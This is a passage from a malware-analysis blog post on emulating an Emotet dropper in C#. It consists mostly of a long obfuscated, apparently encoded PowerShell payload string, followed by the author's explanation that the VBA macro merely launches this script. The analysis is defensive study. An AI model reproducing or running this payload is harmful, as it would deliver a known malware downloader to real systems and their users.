jsa 21u7gsggg0ANwA58[sn ]]][ jsa 21u7gsggg3ACkA58[sn ]]][ jsa 21u7gsgggLABbA58[sn ]]][ jsa 21u7gsgggGMASA58[sn ]]][ jsa 21u7gsgggBhAFI58[sn ]]][ jsa 21u7gsgggAXQA558[sn ]]][ jsa 21u7gsgggADIAK58[sn ]]][ jsa 21u7gsgggQArAC58[sn ]]][ jsa 21u7gsgggQAVgB58[sn ]]][ jsa 21u7gsggguAGIA58[sn ]]][ jsa 21u7gsgggeQBhA58[sn ]]][ jsa 21u7gsgggGgAeA58[sn ]]][ jsa 21u7gsgggArACg58[sn ]]][ jsa 21u7gsgggAJwAu58[sn ]]][ jsa 21u7gsgggAGUAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAeAB58[sn ]]][ jsa 21u7gsggglACcA58[sn ]]][ jsa 21u7gsgggKQA7A58[sn ]]][ jsa 21u7gsgggCQASA58[sn ]]][ jsa 21u7gsgggBzAGE58[sn ]]][ jsa 21u7gsgggANwBk58[sn ]]][ jsa 21u7gsgggAGcAN58[sn ]]][ jsa 21u7gsggggA9AC58[sn ]]][ jsa 21u7gsggggAJwB58[sn ]]][ jsa 21u7gsgggRAHcA58[sn ]]][ jsa 21u7gsgggbAB4A58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAHg58[sn ]]][ jsa 21u7gsgggAdAA158[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggQA7AC58[sn ]]][ jsa 21u7gsgggQAQgB58[sn ]]][ jsa 21u7gsggg3AGEA58[sn ]]][ jsa 21u7gsgggMQBzA58[sn ]]][ jsa 21u7gsgggDgAZA58[sn ]]][ jsa 21u7gsgggA9AC458[sn ]]][ jsa 21u7gsgggAKAAn58[sn ]]][ jsa 21u7gsgggAG4AZ58[sn ]]][ jsa 21u7gsgggQAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsggg3AC0A58[sn ]]][ jsa 21u7gsgggbwBiA58[sn ]]][ jsa 21u7gsgggGoAZQ58[sn ]]][ jsa 21u7gsgggBjACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHQAJ58[sn ]]][ jsa 21u7gsgggwApAC58[sn ]]][ jsa 21u7gsgggAATgB58[sn ]]][ jsa 21u7gsggglAFQA58[sn ]]][ jsa 21u7gsgggLgB3A58[sn ]]][ jsa 21u7gsgggEUAQg58[sn ]]][ jsa 21u7gsgggBjAGw58[sn ]]][ jsa 21u7gsgggASQBl58[sn ]]][ jsa 21u7gsgggAE4Ad58[sn ]]][ jsa 21u7gsgggAA7AC58[sn ]]][ jsa 21u7gsgggQATAB58[sn ]]][ jsa 21u7gsgggkAHcA58[sn ]]][ jsa 21u7gsgggZQBhA58[sn ]]][ jsa 21u7gsgggGEAZw58[sn ]]][ jsa 21u7gsgggA9ACg58[sn ]]][ jsa 21u7gsgggAJwBo58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggQAdAB58[sn ]]][ jsa 21u7gsgggwACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggDoALw58[sn ]]][ jsa 21u7gsgggAvAHQ58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAa58[sn ]]][ jsa 21u7gsgggAAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggpAGMA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAaA58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwBk58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAG58[sn ]]][ jsa 21u7gsgggkAcgA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwB1A58[sn ]]][ jsa 21u7gsgggG4AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAZwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAuAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAGMA58[sn ]]][ jsa 21u7gsgggbwBtA58[sn ]]][ jsa 21u7gsgggC8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAZAB158[sn ]]][ jsa 21u7gsgggAHAAL58[sn ]]][ jsa 21u7gsgggQBpAG58[sn ]]][ jsa 21u7gsggg4AcwB58[sn ]]][ jsa 21u7gsggg0AGEA58[sn ]]][ jsa 21u7gsgggbABsA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAGU58[sn ]]][ jsa 21u7gsgggAcgAv58[sn ]]][ jsa 21u7gsgggADYAc58[sn ]]][ jsa 21u7gsgggwAyAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAHAA58[sn ]]][ jsa 21u7gsgggTgBXA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAEg58[sn ]]][ jsa 21u7gsgggALwAq58[sn ]]][ jsa 21u7gsgggAGgAd58[sn ]]][ jsa 21u7gsgggAB0AH58[sn ]]][ jsa 21u7gsgggAAOgA58[sn ]]][ jsa 21u7gsgggvAC8A58[sn ]]][ jsa 21u7gsgggcwAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggB1AG458[sn ]]][ jsa 21u7gsgggAZwB258[sn ]]][ jsa 21u7gsgggAGEAb58[sn ]]][ jsa 21u7gsgggABvAH58[sn ]]][ jsa 21u7gsgggAAawB58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggG8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAbgBn58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggMAYQB58[sn ]]][ jsa 21u7gsgggtACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggC4AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAYwBv58[sn ]]][ jsa 21u7gsgggAG0AL58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsggg0AGUA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAbQ58[sn ]]][ jsa 21u7gsgggBwAC858[sn ]]][ jsa 21u7gsgggAdAA558[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAD58[sn ]]][ jsa 21u7gsgggAAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggeQBqA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAHM58[sn ]]][ jsa 21u7gsgggALwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAqAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAGgA58[sn ]]][ jsa 21u7gsgggdAB0A58[sn ]]][ jsa 21u7gsgggHAAOg58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwAv58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsggg8AZAA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwByA58[sn ]]][ jsa 21u7gsgggHMAaA58[sn ]]][ jsa 21u7gsgggBlAGs58[sn ]]][ jsa 21u7gsgggAaAAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBhAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAHIA58[sn ]]][ jsa 21u7gsgggYgBpA58[sn ]]][ jsa 21u7gsgggHMAJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAdwBh58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggMAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggLgBjA58[sn ]]][ jsa 21u7gsgggG8AbQ58[sn ]]][ jsa 21u7gsgggAvAGM58[sn ]]][ jsa 21u7gsgggAZwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBpAC58[sn ]]][ jsa 21u7gsggg0AYgB58[sn ]]][ jsa 21u7gsgggpAG4A58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcALw58[sn ]]][ jsa 21u7gsgggBMAGE58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAM58[sn ]]][ jsa 21u7gsgggQAvAC58[sn ]]][ jsa 21u7gsgggoAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggaAB0A58[sn ]]][ jsa 21u7gsgggHQAcA58[sn ]]][ jsa 21u7gsgggBzACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggADoAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcALwA58[sn ]]][ jsa 21u7gsgggvAHcA58[sn ]]][ jsa 21u7gsgggdwAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggB3AC458[sn ]]][ jsa 21u7gsgggAcABy58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAG58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggeQBlA58[sn ]]][ jsa 21u7gsgggGMAdA58[sn ]]][ jsa 21u7gsgggBvACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAGIAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAYQA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwB5A58[sn ]]][ jsa 21u7gsgggGEAJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAYwB158[sn ]]][ jsa 21u7gsgggAC4AY58[sn ]]][ jsa 21u7gsgggwBvAG58[sn ]]][ jsa 21u7gsggg0ALwB58[sn ]]][ jsa 21u7gsggguACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggG8AdA58[sn ]]][ jsa 21u7gsgggBoAGk58[sn ]]][ jsa 21u7gsgggAbgAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBnAC58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggNQAvA58[sn ]]][ jsa 21u7gsgggCoAaA58[sn ]]][ jsa 21u7gsgggB0ACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHQAc58[sn ]]][ jsa 21u7gsgggAA6AC58[sn ]]][ jsa 21u7gsggg8ALwA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBkA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAGk58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAZ58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggpAHQA58[sn ]]][ jsa 21u7gsgggYQAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggBsAG058[sn ]]][ jsa 21u7gsgggAYQBy58[sn ]]][ jsa 21u7gsgggAGsAZ58[sn ]]][ jsa 21u7gsgggQAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsggg0AGkA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAbg58[sn ]]][ jsa 21u7gsgggBnAGI58[sn ]]][ jsa 21u7gsgggAbABv58[sn ]]][ jsa 21u7gsgggAGcAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAZwA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBlA58[sn ]]][ jsa 21u7gsgggHIAcw58[sn ]]][ jsa 21u7gsgggAuACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAGMAb58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggtAC8A58[sn ]]][ jsa 21u7gsgggZQAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggBsACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAGoAd58[sn ]]][ jsa 21u7gsgggQAvAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAEEA58[sn ]]][ jsa 21u7gsgggbwA1A58[sn ]]][ jsa 21u7gsgggEkASg58[sn ]]][ jsa 21u7gsgggB5AC858[sn ]]][ jsa 21u7gsgggAKgAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwBoAH58[sn ]]][ jsa 21u7gsgggQAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggdAAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggBwADo58[sn ]]][ jsa 21u7gsgggALwAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwAvAH58[sn ]]][ jsa 21u7gsgggIAZQB58[sn ]]][ jsa 21u7gsgggjAHUA58[sn ]]][ jsa 21u7gsgggcABlA58[sn ]]][ jsa 21u7gsgggHIAYQ58[sn ]]][ jsa 21u7gsgggBhACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggAHQAd58[sn ]]][ jsa 21u7gsgggQBwAG58[sn ]]][ jsa 21u7gsgggEAcgB58[sn ]]][ jsa 21u7gsggglAGoA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAYQ58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwAu58[sn ]]][ jsa 21u7gsgggAGMAJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAbwB58[sn ]]][ jsa 21u7gsgggtACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggC8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAQQBy58[sn ]]][ jsa 21u7gsgggAGMAa58[sn ]]][ jsa 21u7gsgggABpAH58[sn ]]][ jsa 21u7gsgggYAbwB58[sn ]]][ jsa 21u7gsgggzACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggHYAaQ58[sn ]]][ jsa 21u7gsgggBlAGo58[sn ]]][ jsa 21u7gsgggAbwBz58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAC58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggdAB3A58[sn ]]][ jsa 21u7gsgggC8AKg58[sn ]]][ jsa 21u7gsgggBoAHQ58[sn ]]][ jsa 21u7gsgggAJwAr58[sn ]]][ jsa 21u7gsgggACcAd58[sn ]]][ jsa 21u7gsgggAAnAC58[sn ]]][ jsa 21u7gsgggsAJwB58[sn ]]][ jsa 21u7gsgggwADoA58[sn ]]][ jsa 21u7gsgggLwAnA58[sn ]]][ jsa 21u7gsgggCsAJw58[sn ]]][ jsa 21u7gsgggAvAHc58[sn ]]][ jsa 21u7gsgggAdwB358[sn ]]][ jsa 21u7gsgggAC4AJ58[sn ]]][ jsa 21u7gsgggwArAC58[sn ]]][ jsa 21u7gsgggcAbAB58[sn ]]][ jsa 21u7gsggghAGkA58[sn ]]][ jsa 21u7gsgggYgByA58[sn ]]][ jsa 21u7gsgggCcAKw58[sn ]]][ jsa 21u7gsgggAnAGE58[sn ]]][ jsa 21u7gsgggAeQAu58[sn ]]][ jsa 21u7gsgggAGMAb58[sn ]]][ jsa 21u7gsgggwBtAC58[sn ]]][ jsa 21u7gsggg8AYgA58[sn ]]][ jsa 21u7gsgggnACsA58[sn ]]][ jsa 21u7gsgggJwBsA58[sn ]]][ jsa 21u7gsgggG8AJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAZwAv58[sn ]]][ jsa 21u7gsgggAE4AO58[sn ]]][ jsa 21u7gsgggQB6AC58[sn ]]][ jsa 21u7gsggg8AJwA58[sn ]]][ jsa 21u7gsgggpAC4A58[sn ]]][ jsa 21u7gsgggIgBTA58[sn ]]][ jsa 21u7gsgggGAAUA58[sn ]]][ jsa 21u7gsgggBMAGk58[sn ]]][ jsa 21u7gsgggAdAAi58[sn ]]][ jsa 21u7gsgggACgAW58[sn ]]][ jsa 21u7gsgggwBjAG58[sn ]]][ jsa 21u7gsggggAYQB58[sn ]]][ jsa 21u7gsgggyAF0A58[sn ]]][ jsa 21u7gsgggNAAyA58[sn ]]][ jsa 21u7gsgggCkAOw58[sn ]]][ jsa 21u7gsgggAkAEI58[sn ]]][ jsa 21u7gsgggAbwA358[sn ]]][ jsa 21u7gsgggAG8Ab58[sn ]]][ jsa 21u7gsgggwBxAG58[sn ]]][ jsa 21u7gsggg0APQA58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggRwBmA58[sn ]]][ jsa 21u7gsgggGQAJw58[sn ]]][ jsa 21u7gsgggArACc58[sn ]]][ jsa 21u7gsgggAcQBv58[sn ]]][ jsa 21u7gsgggADgAM58[sn ]]][ jsa 21u7gsgggQAnAC58[sn ]]][ jsa 21u7gsgggkAOwB58[sn ]]][ jsa 21u7gsgggmAG8A58[sn ]]][ jsa 21u7gsgggcgBlA58[sn ]]][ jsa 21u7gsgggGEAYw58[sn ]]][ jsa 21u7gsgggBoACg58[sn ]]][ jsa 21u7gsgggAJABZ58[sn ]]][ jsa 21u7gsgggAGIAe58[sn ]]][ jsa 21u7gsggggBtAG58[sn ]]][ jsa 21u7gsggg4AeAB58[sn ]]][ jsa 21u7gsgggqACAA58[sn ]]][ jsa 21u7gsgggaQBuA58[sn ]]][ jsa 21u7gsgggCAAJA58[sn ]]][ jsa 21u7gsgggBMAGQ58[sn ]]][ jsa 21u7gsgggAdwBl58[sn ]]][ jsa 21u7gsgggAGEAY58[sn ]]][ jsa 21u7gsgggQBnAC58[sn ]]][ jsa 21u7gsgggkAewB58[sn ]]][ jsa 21u7gsggg0AHIA58[sn ]]][ jsa 21u7gsgggeQB7A58[sn ]]][ jsa 21u7gsgggCQAQg58[sn ]]][ jsa 21u7gsgggB3AGE58[sn ]]][ jsa 21u7gsgggAMQBz58[sn ]]][ jsa 21u7gsgggADgAZ58[sn ]]][ jsa 21u7gsgggAAuAC58[sn ]]][ jsa 21u7gsgggIAZAB58[sn ]]][ jsa 21u7gsgggPAHcA58[sn ]]][ jsa 21u7gsgggbgBgA58[sn ]]][ jsa 21u7gsgggGwATw58[sn ]]][ jsa 21u7gsgggBBAEQ58[sn ]]][ jsa 21u7gsgggAYABG58[sn ]]][ jsa 21u7gsgggAEkAY58[sn ]]][ jsa 21u7gsgggABMAE58[sn ]]][ jsa 21u7gsgggUAIgA58[sn ]]][ jsa 21u7gsgggoACQA58[sn ]]][ jsa 21u7gsgggWQBiA58[sn ]]][ jsa 21u7gsgggHoAbQ58[sn ]]][ jsa 21u7gsgggBuAHg58[sn ]]][ jsa 21u7gsgggAagAs58[sn ]]][ jsa 21u7gsgggACAAJ58[sn ]]][ jsa 21u7gsgggABFAG58[sn ]]][ jsa 21u7gsggg8ANAB58[sn ]]][ jsa 21u7gsgggnADEA58[sn ]]][ jsa 21u7gsgggMAB6A58[sn ]]][ jsa 21u7gsgggCkAOw58[sn ]]][ jsa 21u7gsgggAkAFI58[sn ]]][ jsa 21u7gsgggAZAA158[sn ]]][ jsa 21u7gsgggAHcAO58[sn ]]][ jsa 21u7gsgggAB2AG58[sn ]]][ jsa 21u7gsggg8APQA58[sn ]]][ jsa 21u7gsgggoACcA58[sn ]]][ jsa 21u7gsgggUwBiA58[sn ]]][ jsa 21u7gsgggGEAbw58[sn ]]][ jsa 21u7gsgggBoACc58[sn ]]][ jsa 21u7gsgggAKwAn58[sn ]]][ jsa 21u7gsgggADAAZ58[sn ]]][ jsa 21u7gsgggAAnAC58[sn ]]][ jsa 21u7gsgggkAOwB58[sn ]]][ jsa 21u7gsgggJAGYA58[sn ]]][ jsa 21u7gsgggIAAoA58[sn ]]][ jsa 21u7gsgggCgAJg58[sn ]]][ jsa 21u7gsgggAoACc58[sn ]]][ jsa 21u7gsgggARwBl58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggwAnAH58[sn ]]][ jsa 21u7gsgggQALQB58[sn ]]][ jsa 21u7gsgggJACcA58[sn ]]][ jsa 21u7gsgggKwAnA58[sn ]]][ jsa 21u7gsgggHQAZQ58[sn ]]][ jsa 21u7gsgggBtACc58[sn ]]][ jsa 21u7gsgggAKQAg58[sn ]]][ jsa 21u7gsgggACQAR58[sn ]]][ jsa 21u7gsgggQBvAD58[sn ]]][ jsa 21u7gsgggQAZwA58[sn ]]][ jsa 21u7gsgggxADAA58[sn ]]][ jsa 21u7gsgggegApA58[sn ]]][ jsa 21u7gsgggC4AIg58[sn ]]][ jsa 21u7gsgggBMAGA58[sn ]]][ jsa 21u7gsgggARQBu58[sn ]]][ jsa 21u7gsgggAGAAZ58[sn ]]][ jsa 21u7gsgggwBUAG58[sn ]]][ jsa 21u7gsggggAIgA58[sn ]]][ jsa 21u7gsggggAC0A58[sn ]]][ jsa 21u7gsgggZwBlA58[sn ]]][ jsa 21u7gsgggCAAMw58[sn ]]][ jsa 21u7gsgggA3ADg58[sn ]]][ jsa 21u7gsgggANAAx58[sn ]]][ jsa 21u7gsgggACkAI58[sn ]]][ jsa 21u7gsgggAB7AC58[sn ]]][ jsa 21u7gsgggYAKAA58[sn ]]][ jsa 21u7gsgggnAEkA58[sn ]]][ jsa 21u7gsgggbgB2A58[sn ]]][ jsa 21u7gsgggG8Aaw58[sn ]]][ jsa 21u7gsgggBlAC058[sn ]]][ jsa 21u7gsgggASQAn58[sn ]]][ jsa 21u7gsgggACsAJ58[sn ]]][ jsa 21u7gsgggwB0AG58[sn ]]][ jsa 21u7gsgggUAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggbQAnA58[sn ]]][ jsa 21u7gsgggCkAKA58[sn ]]][ jsa 21u7gsgggAkAEU58[sn ]]][ jsa 21u7gsgggAbwA058[sn ]]][ jsa 21u7gsgggAGcAM58[sn ]]][ jsa 21u7gsgggQAwAH58[sn ]]][ jsa 21u7gsgggoAKQA58[sn ]]][ jsa 21u7gsggg7ACQA58[sn ]]][ jsa 21u7gsgggWQAzA58[sn ]]][ jsa 21u7gsgggG0AZA58[sn ]]][ jsa 21u7gsgggBsAGM58[sn ]]][ jsa 21u7gsgggANQA958[sn ]]][ jsa 21u7gsgggACgAJ58[sn ]]][ jsa 21u7gsgggwBKAH58[sn ]]][ jsa 21u7gsggggAJwA58[sn ]]][ jsa 21u7gsgggrACcA58[sn ]]][ jsa 21u7gsgggMABjA58[sn ]]][ jsa 21u7gsgggG8ANg58[sn ]]][ jsa 21u7gsgggAxACc58[sn ]]][ jsa 21u7gsgggAKQA758[sn ]]][ jsa 21u7gsgggAGIAc58[sn ]]][ jsa 21u7gsggggBlAG58[sn ]]][ jsa 21u7gsgggEAawA58[sn ]]][ jsa 21u7gsggg7ACQA58[sn ]]][ jsa 21u7gsgggWgA5A58[sn ]]][ jsa 21u7gsgggHUAeg58[sn ]]][ jsa 21u7gsgggBpAG058[sn ]]][ jsa 21u7gsgggAcwA958[sn ]]][ jsa 21u7gsgggACgAJ58[sn ]]][ jsa 21u7gsgggwBSAC58[sn ]]][ jsa 21u7gsgggcAKwA58[sn ]]][ jsa 21u7gsgggnAHkA58[sn ]]][ jsa 21u7gsgggJwArA58[sn ]]][ jsa 21u7gsgggCcAbg58[sn ]]][ jsa 21u7gsgggBxADA58[sn ]]][ jsa 21u7gsgggAcQBr58[sn ]]][ jsa 21u7gsgggACcAK58[sn ]]][ jsa 21u7gsgggQB9AH58[sn ]]][ jsa 21u7gsggg0AYwB58[sn ]]][ jsa 21u7gsggghAHQA58[sn ]]][ jsa 21u7gsgggYwBoA58[sn ]]][ jsa 21u7gsgggHsAfQ58[sn ]]][ jsa 21u7gsgggB9ACQ58[sn ]]][ jsa 21u7gsgggARgB058[sn ]]][ jsa 21u7gsgggAHIAZ58[sn ]]][ jsa 21u7gsggggBuAG58[sn ]]][ jsa 21u7gsgggoAbwA58[sn ]]][ jsa 21u7gsggg9ACgA58[sn ]]][ jsa 21u7gsgggJwBBA58[sn ]]][ jsa 21u7gsgggHEAdA58[sn ]]][ jsa 21u7gsgggAnACs58[sn ]]][ jsa 21u7gsgggAJwA558[sn ]]][ jsa 21u7gsgggAHEAZ58[sn ]]][ jsa 21u7gsggggBsAC58[sn ]]][ jsa 21u7gsgggcAKQA58[sn ]]][ jsa 21u7gsggg=";
return Func3(l_var1);
}Final Thoughts
The entire purpose of that relatively long and complex looking VBA script that we first saw in the last post, was to run a PowerShell script. That is it. It starts a new process and executes the script. It might seem a little underwhelming, but this is not the end.
Now that we understand just what the script is doing, the next step is to take a deep dive into the PowerShell script. It seems that the creator of this wanted to make the process of understanding this script as difficult as possible. Well… Challenge accepted! Join me next time to dive deeper down into this rabbit hole.
Resources
Here are a few of the resources I utilized while putting this post together. For those looking to learn a bit more about how to convert the VBA script into C#, these pages are worth reading.
2
Tags :
2 thoughts on “Emulating Emotet in C#”
Leave a Reply
You must be logged in to post a comment.
[…] In the next post, I will show the process of re-writing this script in a C# console application. Doing this allowed me to execute the script and step through it to see what each command was doing. If that sounds like fun to you, be sure to join me for the follow on, Emulating Emotet In C#. […]
[…] talk is based on two of my previous blog posts, Reading an Obfuscated Emotet Script, and Emulating Emotet in C#. Sorry in advance for all the umms and uhs. Let me know in the comments what you […]